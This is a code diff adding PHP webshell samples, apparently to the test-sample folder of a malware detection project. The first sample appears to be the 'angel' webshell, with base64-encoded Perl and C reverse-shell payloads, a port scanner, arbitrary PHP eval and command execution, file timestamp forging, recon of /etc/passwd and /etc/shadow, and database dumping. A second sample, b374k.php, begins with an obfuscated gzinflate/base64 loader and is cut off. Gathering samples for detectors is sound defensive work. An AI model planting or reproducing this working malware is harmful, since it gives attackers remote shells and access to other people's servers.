+ "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
+ "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
+ "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
+ "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
+ "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+ $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
+ "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
+ "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
+ "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
+ "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
+ "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
+ "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
+ "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+
+ if ($start && $yourip && $yourport && $use){
+ if ($use == 'perl') {
+ cf('/tmp/angel_bc',$back_connect);
+ $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
+ } else {
+ cf('/tmp/angel_bc.c',$back_connect_c);
+ $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
+ @unlink('/tmp/angel_bc.c');
+ $res = execute("/tmp/angel_bc $yourip $yourport &");
+ }
+ m("Now script try connect to $yourip port $yourport ...");
+ }
+
+ formhead(array('title'=>'Back Connect'));
+ makehide('action','backconnect');
+ p('');
+ p('Your IP:');
+ makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
+ p('Your Port:');
+ makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
+ p('Use:');
+ makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
+ makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
+ p('
');
+ formfoot();
+}//end
+
+elseif ($action == 'portscan') {
+ !$scanip && $scanip = '127.0.0.1';
+ !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
+ formhead(array('title'=>'Port Scan'));
+ makehide('action','portscan');
+ p('');
+ p('IP:');
+ makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip));
+ p('Port:');
+ makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport));
+ makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
+ p('
');
+ formfoot();
+
+ if ($startscan) {
+ p('Result » ');
+ p('');
+ foreach(explode(',', $scanport) as $port) {
+ $fp = @fsockopen($scanip, $port, $errno, $errstr, 1);
+ if (!$fp) {
+ p(''.$scanip.':'.$port.' ------------------------ Close ');
+ } else {
+ p(''.$scanip.':'.$port.' ------------------------ Open ');
+ @fclose($fp);
+ }
+ }
+ p(' ');
+ }
+}
+
+elseif ($action == 'eval') {
+ $phpcode = trim($phpcode);
+ if($phpcode){
+ if (!preg_match('#<\?#si', $phpcode)) {
+ $phpcode = "";
+ }
+ eval("?".">$phpcode");
+ }
+ formhead(array('title'=>'Eval PHP Code'));
+ makehide('action','eval');
+ maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
+ p('Get plugins
');
+ formfooter();
+}//end eval
+
+elseif ($action == 'editfile') {
+ if(file_exists($opfile)) {
+ $fp=@fopen($opfile,'r');
+ $contents=@fread($fp, filesize($opfile));
+ @fclose($fp);
+ $contents=htmlspecialchars($contents);
+ }
+ formhead(array('title'=>'Create / Edit File'));
+ makehide('action','file');
+ makehide('dir',$nowpath);
+ makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
+ maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
+ formfooter();
+
+ goback();
+
+}//end editfile
+
+elseif ($action == 'newtime') {
+ $opfilemtime = @filemtime($opfile);
+ //$time = strtotime("$year-$month-$day $hour:$minute:$second");
+ $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
+ formhead(array('title'=>'Clone folder/file was last modified time'));
+ makehide('action','file');
+ makehide('dir',$nowpath);
+ makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
+ makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
+ formfooter();
+ formhead(array('title'=>'Set last modified'));
+ makehide('action','file');
+ makehide('dir',$nowpath);
+ makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
+ p('year:');
+ makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
+ p('month:');
+ makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
+ p('day:');
+ makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
+ p('hour:');
+ makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
+ p('minute:');
+ makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
+ p('second:');
+ makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
+ p('
');
+ formfooter();
+ goback();
+}//end newtime
+
+elseif ($action == 'shell') {
+ if (IS_WIN && IS_COM) {
+ if($program && $parameter) {
+ $shell= new COM('Shell.Application');
+ $a = $shell->ShellExecute($program,$parameter);
+ m('Program run has '.(!$a ? 'success' : 'fail'));
+ }
+ !$program && $program = 'c:\windows\system32\cmd.exe';
+ !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
+ formhead(array('title'=>'Execute Program'));
+ makehide('action','shell');
+ makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
+ p('');
+ makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
+ makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
+ p('
');
+ formfoot();
+ }
+ formhead(array('title'=>'Execute Command'));
+ makehide('action','shell');
+ if (IS_WIN && IS_COM) {
+ $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
+ makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
+ }
+ p('');
+ makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
+ makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
+ p('
');
+ formfoot();
+
+ if ($command) {
+ p('');
+ if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+ $wsh = new COM('WScript.shell');
+ $exec = $wsh->exec('cmd.exe /c '.$command);
+ $stdout = $exec->StdOut();
+ $stroutput = $stdout->ReadAll();
+ echo $stroutput;
+ } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+ $descriptorspec = array(
+ 0 => array('pipe', 'r'),
+ 1 => array('pipe', 'w'),
+ 2 => array('pipe', 'w')
+ );
+ $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+ if (is_resource($process)) {
+ fwrite($pipes[0], $command."\r\n");
+ fwrite($pipes[0], "exit\r\n");
+ fclose($pipes[0]);
+ while (!feof($pipes[1])) {
+ echo fgets($pipes[1], 1024);
+ }
+ fclose($pipes[1]);
+ while (!feof($pipes[2])) {
+ echo fgets($pipes[2], 1024);
+ }
+ fclose($pipes[2]);
+ proc_close($process);
+ }
+ } else {
+ echo(execute($command));
+ }
+ p(' ');
+ }
+}//end shell
+
+elseif ($action == 'phpenv') {
+ $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
+ $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
+ !$dis_func && $dis_func = 'No';
+ $info = array(
+ 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
+ 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
+ 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
+ 4 => array('Server OS',PHP_OS),
+ 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
+ 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
+ 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
+ 8 => array('PHP run mode',strtoupper(php_sapi_name())),
+ 9 => array('The file path',__FILE__),
+
+ 10 => array('PHP Version',PHP_VERSION),
+ 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes ' : 'No')),
+ 12 => array('Safe Mode',getcfg('safe_mode')),
+ 13 => array('Administrator',$adminmail),
+ 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
+ 15 => array('enable_dl',getcfg('enable_dl')),
+ 16 => array('display_errors',getcfg('display_errors')),
+ 17 => array('register_globals',getcfg('register_globals')),
+ 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
+ 19 => array('memory_limit',getcfg('memory_limit')),
+ 20 => array('post_max_size',getcfg('post_max_size')),
+ 21 => array('upload_max_filesize',$upsize),
+ 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
+ 23 => array('disable_functions',$dis_func),
+ );
+
+ if($phpvarname) {
+ m($phpvarname .' : '.getcfg($phpvarname));
+ }
+
+ formhead(array('title'=>'Server environment'));
+ makehide('action','phpenv');
+ makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
+ formfooter();
+
+ $hp = array(0=> 'Server', 1=> 'PHP');
+ for($a=0;$a<2;$a++) {
+ p(''.$hp[$a].' » ');
+ p('');
+ if ($a==0) {
+ for($i=1;$i<=9;$i++) {
+ p(''.$info[$i][0].': '.$info[$i][1].' ');
+ }
+ } elseif ($a == 1) {
+ for($i=10;$i<=23;$i++) {
+ p(''.$info[$i][0].': '.$info[$i][1].' ');
+ }
+ }
+ p(' ');
+ }
+}//end phpenv
+
+elseif ($action == 'secinfo') {
+
+ secparam('Server software', @getenv('SERVER_SOFTWARE'));
+ secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
+ secparam('Open base dir', @ini_get('open_basedir'));
+ secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ secparam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ secparam('Supported databases', implode(', ', $temp));
+
+ if( !IS_WIN ) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
+ secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
+ secparam('OS version', @file_get_contents('/proc/version'));
+ secparam('Distr name', @file_get_contents('/etc/issue.net'));
+ $safe_mode = @ini_get('safe_mode');
+ if(!$GLOBALS['safe_mode']) {
+ $temp=array();
+ foreach ($userful as $item)
+ if(which($item)){$temp[]=$item;}
+ secparam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $item)
+ if(which($item)){$temp[]=$item;}
+ secparam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $item)
+ if(which($item)){$temp[]=$item;}
+ secparam('Downloaders', implode(', ',$temp));
+ secparam('Hosts', @file_get_contents('/etc/hosts'));
+ secparam('HDD space', execute('df -h'));
+ secparam('Mount options', @file_get_contents('/etc/fstab'));
+ }
+ } else {
+ secparam('OS Version',execute('ver'));
+ secparam('Account Settings',execute('net accounts'));
+ secparam('User Accounts',execute('net user'));
+ secparam('IP Configurate',execute('ipconfig -all'));
+ }
+}//end
+
+else {
+ m('Undefined Action');
+}
+
+?>
+
+
+
+
+
+'.$n.' »');
+ p('');
+ if(strpos($v, "\n") === false)
+ p($v.'
');
+ else
+ p('
'.$v.' ');
+ p('
');
+ }
+}
+function m($msg) {
+ echo '';
+ echo $msg;
+ echo '
';
+}
+function scookie($key, $value, $life = 0, $prefix = 1) {
+ global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
+ $key = ($prefix ? $cookiepre : '').$key;
+ $life = $life ? $life : $cookielife;
+ $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
+ setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
+}
+function multi($num, $perpage, $curpage, $tablename) {
+ $multipage = '';
+ if($num > $perpage) {
+ $page = 10;
+ $offset = 5;
+ $pages = @ceil($num / $perpage);
+ if($page > $pages) {
+ $from = 1;
+ $to = $pages;
+ } else {
+ $from = $curpage - $offset;
+ $to = $curpage + $page - $offset - 1;
+ if($from < 1) {
+ $to = $curpage + 1 - $from;
+ $from = 1;
+ if(($to - $from) < $page && ($to - $from) < $pages) {
+ $to = $page;
+ }
+ } elseif($to > $pages) {
+ $from = $curpage - $pages + $to;
+ $to = $pages;
+ if(($to - $from) < $page && ($to - $from) < $pages) {
+ $from = $pages - $page + 1;
+ }
+ }
+ }
+ $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : '');
+ for($i = $from; $i <= $to; $i++) {
+ $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] ';
+ }
+ $multipage .= ($curpage < $pages ? 'Next ' : '').($to < $pages ? ' Last ' : '');
+ $multipage = $multipage ? 'Pages: '.$multipage.'
' : '';
+ }
+ return $multipage;
+}
+// µÇ½Èë¿Ú
+function loginpage() {
+?>
+
+
+ Password:
+
+
+
+Can not connect to MySQL server');
+ exit;
+ }
+ if($link && $dbname) {
+ if (!@mysql_select_db($dbname, $link)) {
+ p('Database selected has error ');
+ exit;
+ }
+ }
+ if($link && mysql_get_server_info() > '4.1') {
+ if($charset && in_array(strtolower($charset), $charsetdb)) {
+ q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
+ }
+ }
+ return $link;
+}
+
+// È¥µôתÒå×Ö·û
+function s_array(&$array) {
+ if (is_array($array)) {
+ foreach ($array as $k => $v) {
+ $array[$k] = s_array($v);
+ }
+ } else if (is_string($array)) {
+ $array = stripslashes($array);
+ }
+ return $array;
+}
+
+// Çå³ýHTML´úÂë
+function html_clean($content) {
+ $content = htmlspecialchars($content);
+ $content = str_replace("\n", " ", $content);
+ $content = str_replace(" ", " ", $content);
+ $content = str_replace("\t", " ", $content);
+ return $content;
+}
+
+// »ñȡȨÏÞ
+function getChmod($filepath){
+ return substr(base_convert(@fileperms($filepath),10,8),-4);
+}
+
+function getPerms($filepath) {
+ $mode = @fileperms($filepath);
+ if (($mode & 0xC000) === 0xC000) {$type = 's';}
+ elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
+ elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
+ elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
+ elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
+ elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
+ elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
+ else {$type = '?';}
+
+ $owner['read'] = ($mode & 00400) ? 'r' : '-';
+ $owner['write'] = ($mode & 00200) ? 'w' : '-';
+ $owner['execute'] = ($mode & 00100) ? 'x' : '-';
+ $group['read'] = ($mode & 00040) ? 'r' : '-';
+ $group['write'] = ($mode & 00020) ? 'w' : '-';
+ $group['execute'] = ($mode & 00010) ? 'x' : '-';
+ $world['read'] = ($mode & 00004) ? 'r' : '-';
+ $world['write'] = ($mode & 00002) ? 'w' : '-';
+ $world['execute'] = ($mode & 00001) ? 'x' : '-';
+
+ if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
+ if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
+ if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
+
+ return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
+}
+
+function getUser($filepath) {
+ if (function_exists('posix_getpwuid')) {
+ $array = @posix_getpwuid(@fileowner($filepath));
+ if ($array && is_array($array)) {
+ return ' / '.$array['name'].' ';
+ }
+ }
+ return '';
+}
+
+// ɾ³ýĿ¼
+function deltree($deldir) {
+ $mydir=@dir($deldir);
+ while($file=$mydir->read()) {
+ if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
+ @chmod($deldir.'/'.$file,0777);
+ deltree($deldir.'/'.$file);
+ }
+ if (is_file($deldir.'/'.$file)) {
+ @chmod($deldir.'/'.$file,0777);
+ @unlink($deldir.'/'.$file);
+ }
+ }
+ $mydir->close();
+ @chmod($deldir,0777);
+ return @rmdir($deldir) ? 1 : 0;
+}
+
+// ±í¸ñÐмäµÄ±³¾°É«Ìæ»»
+function bg() {
+ global $bgc;
+ return ($bgc++%2==0) ? 'alt1' : 'alt2';
+}
+
+// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶
+function getPath($scriptpath, $nowpath) {
+ if ($nowpath == '.') {
+ $nowpath = $scriptpath;
+ }
+ $nowpath = str_replace('\\', '/', $nowpath);
+ $nowpath = str_replace('//', '/', $nowpath);
+ if (substr($nowpath, -1) != '/') {
+ $nowpath = $nowpath.'/';
+ }
+ return $nowpath;
+}
+
+// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼
+function getUpPath($nowpath) {
+ $pathdb = explode('/', $nowpath);
+ $num = count($pathdb);
+ if ($num > 2) {
+ unset($pathdb[$num-1],$pathdb[$num-2]);
+ }
+ $uppath = implode('/', $pathdb).'/';
+ $uppath = str_replace('//', '/', $uppath);
+ return $uppath;
+}
+
+// ¼ì²éPHPÅäÖòÎÊý
+function getcfg($varname) {
+ $result = get_cfg_var($varname);
+ if ($result == 0) {
+ return 'No';
+ } elseif ($result == 1) {
+ return 'Yes';
+ } else {
+ return $result;
+ }
+}
+
+// ¼ì²éº¯ÊýÇé¿ö
+function getfun($funName) {
+ return (false !== function_exists($funName)) ? 'Yes' : 'No';
+}
+
+// »ñµÃÎļþÀ©Õ¹Ãû
+function getext($file) {
+ $info = pathinfo($file);
+ return $info['extension'];
+}
+
+function GetWDirList($dir){
+ global $dirdata,$j,$nowpath;
+ !$j && $j=1;
+ if ($dh = opendir($dir)) {
+ while ($file = readdir($dh)) {
+ $f=str_replace('//','/',$dir.'/'.$file);
+ if($file!='.' && $file!='..' && is_dir($f)){
+ if (is_writable($f)) {
+ $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
+ $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+ $dirdata[$j]['dirchmod']=getChmod($f);
+ $dirdata[$j]['dirperm']=getPerms($f);
+ $dirdata[$j]['dirlink']=$dir;
+ $dirdata[$j]['server_link']=$f;
+ $j++;
+ }
+ GetWDirList($f);
+ }
+ }
+ closedir($dh);
+ clearstatcache();
+ return $dirdata;
+ } else {
+ return array();
+ }
+}
+
+function GetWFileList($dir){
+ global $filedata,$j,$nowpath, $writabledb;
+ !$j && $j=1;
+ if ($dh = opendir($dir)) {
+ while ($file = readdir($dh)) {
+ $ext = getext($file);
+ $f=str_replace('//','/',$dir.'/'.$file);
+ if($file!='.' && $file!='..' && is_dir($f)){
+ GetWFileList($f);
+ } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
+ if (is_writable($f)) {
+ $filedata[$j]['filename']=str_replace($nowpath,'',$f);
+ $filedata[$j]['size']=sizecount(@filesize($f));
+ $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+ $filedata[$j]['filechmod']=getChmod($f);
+ $filedata[$j]['fileperm']=getPerms($f);
+ $filedata[$j]['fileowner']=getUser($f);
+ $filedata[$j]['dirlink']=$dir;
+ $filedata[$j]['server_link']=$f;
+ $j++;
+ }
+ }
+ }
+ closedir($dh);
+ clearstatcache();
+ return $filedata;
+ } else {
+ return array();
+ }
+}
+
+function GetSFileList($dir, $content, $re = 0) {
+ global $filedata,$j,$nowpath, $writabledb;
+ !$j && $j=1;
+ if ($dh = opendir($dir)) {
+ while ($file = readdir($dh)) {
+ $ext = getext($file);
+ $f=str_replace('//','/',$dir.'/'.$file);
+ if($file!='.' && $file!='..' && is_dir($f)){
+ GetSFileList($f, $content, $re = 0);
+ } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
+ $find = 0;
+ if ($re) {
+ if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
+ $find = 1;
+ }
+ } else {
+ if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
+ $find = 1;
+ }
+ }
+ if ($find) {
+ $filedata[$j]['filename']=str_replace($nowpath,'',$f);
+ $filedata[$j]['size']=sizecount(@filesize($f));
+ $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+ $filedata[$j]['filechmod']=getChmod($f);
+ $filedata[$j]['fileperm']=getPerms($f);
+ $filedata[$j]['fileowner']=getUser($f);
+ $filedata[$j]['dirlink']=$dir;
+ $filedata[$j]['server_link']=$f;
+ $j++;
+ }
+ }
+ }
+ closedir($dh);
+ clearstatcache();
+ return $filedata;
+ } else {
+ return array();
+ }
+}
+
+function qy($sql) {
+ global $mysqllink;
+ //echo $sql.' ';
+ $res = $error = '';
+ if(!$res = @mysql_query($sql,$mysqllink)) {
+ return 0;
+ } else if(is_resource($res)) {
+ return 1;
+ } else {
+ return 2;
+ }
+ return 0;
+}
+
+function q($sql) {
+ global $mysqllink;
+ return @mysql_query($sql,$mysqllink);
+}
+
+function fr($qy){
+ mysql_free_result($qy);
+}
+
+function sizecount($fileSize) {
+ $size = sprintf("%u", $fileSize);
+ if($size == 0) {
+ return '0 Bytes' ;
+ }
+ $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
+ return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
+}
+// ±¸·ÝÊý¾Ý¿â
+function sqldumptable($table, $fp=0) {
+ global $mysqllink;
+
+ $tabledump = "DROP TABLE IF EXISTS `$table`;\n";
+ $res = q("SHOW CREATE TABLE $table");
+ $create = mysql_fetch_row($res);
+ $tabledump .= $create[1].";\n\n";
+
+ if ($fp) {
+ fwrite($fp,$tabledump);
+ } else {
+ echo $tabledump;
+ }
+ $tabledump = '';
+ $rows = q("SELECT * FROM $table");
+ while ($row = mysql_fetch_assoc($rows)) {
+ foreach($row as $k=>$v) {
+ $row[$k] = "'".@mysql_real_escape_string($v)."'";
+ }
+ $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n";
+ if ($fp) {
+ fwrite($fp,$tabledump);
+ } else {
+ echo $tabledump;
+ }
+ }
+ fwrite($fp,"\n\n");
+ fr($rows);
+}
+
+function p($str){
+ echo $str."\n";
+}
+
+function tbhead() {
+ p('');
+}
+function tbfoot(){
+ p('
');
+}
+
+function makehide($name,$value=''){
+ p(" ");
+}
+
+function makeinput($arg = array()){
+ $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
+ $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
+ !$arg['type'] && $arg['type'] = 'text';
+ $arg['title'] = $arg['title'] ? $arg['title'].' ' : '';
+ $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
+ if ($arg['newline']) {
+ p("$arg[title]
");
+ } else {
+ p("$arg[title] ");
+ }
+}
+
+function makeselect($arg = array()){
+ if ($arg['onchange']) {
+ $onchange = 'onchange="'.$arg['onchange'].'"';
+ }
+ $arg['title'] = $arg['title'] ? $arg['title'] : '';
+ if ($arg['newline']) p('');
+ p("$arg[title] ");
+ if (is_array($arg['option'])) {
+ if ($arg['nokey']) {
+ foreach ($arg['option'] as $value) {
+ if ($arg['selected']==$value) {
+ p("$value ");
+ } else {
+ p("$value ");
+ }
+ }
+ } else {
+ foreach ($arg['option'] as $key=>$value) {
+ if ($arg['selected']==$key) {
+ p("$value ");
+ } else {
+ p("$value ");
+ }
+ }
+ }
+ }
+ p(" ");
+ if ($arg['newline']) p('
');
+}
+function formhead($arg = array()) {
+ global $self;
+ !$arg['method'] && $arg['method'] = 'post';
+ !$arg['action'] && $arg['action'] = $self;
+ $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
+ !$arg['name'] && $arg['name'] = 'form1';
+ p("");
+ if ($arg['title']) {
+ p(''.$arg['title'].' » ');
+ }
+}
+
+function maketext($arg = array()){
+ !$arg['cols'] && $arg['cols'] = 100;
+ !$arg['rows'] && $arg['rows'] = 25;
+ $arg['title'] = $arg['title'] ? $arg['title'].' ' : '';
+ p("$arg[title]$arg[value]
");
+}
+
+function formfooter($name = ''){
+ !$name && $name = 'submit';
+ p('
');
+ p(' ');
+}
+
+function goback(){
+ global $self, $nowpath;
+ p('
');
+}
+
+function formfoot(){
+ p('');
+}
+
+function encode_pass($pass) {
+ $pass = md5('angel'.$pass);
+ $pass = md5($pass.'angel');
+ $pass = md5('angel'.$pass.'angel');
+ return $pass;
+}
+
+function pr($s){
+ echo "".print_r($s).' ';
+}
+
+?>
diff --git a/php-malware-finder/samples/classic/b374k.php b/php-malware-finder/samples/classic/b374k.php
new file mode 100644
index 0000000..a448645
--- /dev/null
+++ b/php-malware-finder/samples/classic/b374k.php
@@ -0,0 +1,10 @@
+".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("7P1rm+I4sigKf+9fweSuM1m5qCobDNju6qoZAzb3mzHmMt2nHt9t8A1fMdPz349kGzAkmZXV3Wu9+z379DxTiaVQKCSFQhFSKPTLP1zdLb3rDCdNajj/16PlyKGpfAucb6YjyI+/lb6UBM8TkvcPysE1HU/xHj6UHgLFswxbMOFvJcr+So4dKV4Af8pCIIiCr8Dfhq068K8lGCmYrQSx4+3gT9dzJMX3Ff/h6fM/vv4CKfnpQomn+E7oAYDH3/71KGJ4bZdS86Dzq43njWq03dC2FKu3iMQZkvpqRmptuXrQ+/UkJhBui0wUFQ+m83kH68fbDb9KKqq5QW0JGUbhDhlQutUltqQ70hcLQiAatdbBnmHLujpkYmtQV41Vrc+TBzshHaKDVcvcwdX3PtlSt/p839YVw+ed7c7sit2xNGyPK3i3L3R2brvb0WWm7e5MeyUjwjgWOiONX2rOyunyVjXa74IlNqWtXRvZ4K1mMB8wMb9eTVZEJZZ1xFqPLZ0Mk2pvaY+3w0GzIlFrix6Uxe1sGR0GZcejyoRjrMhWE1FR2aoIu7HKd2jbG3SEEWILdbG/ZqJ+Za7JFMNTatljO9GCJElrt3b6zLDScOcLs2kl5WV/wYcux3WCRWM1ILvmZN7t1JgoZkCTOq3JIGzpjDVu9feKTnewAUq3xbBtBbUy2jiyGMsqPD6udxWxaRoeohw3tMIr6NiqdyqHznaKYH1lryAh6Xh8/Tjeh7vKAZtKneGQa/R322m4lQnTm0/GdnsyXrUVuk2WbWfZW5udLTbolH10umozZYvGlvKx1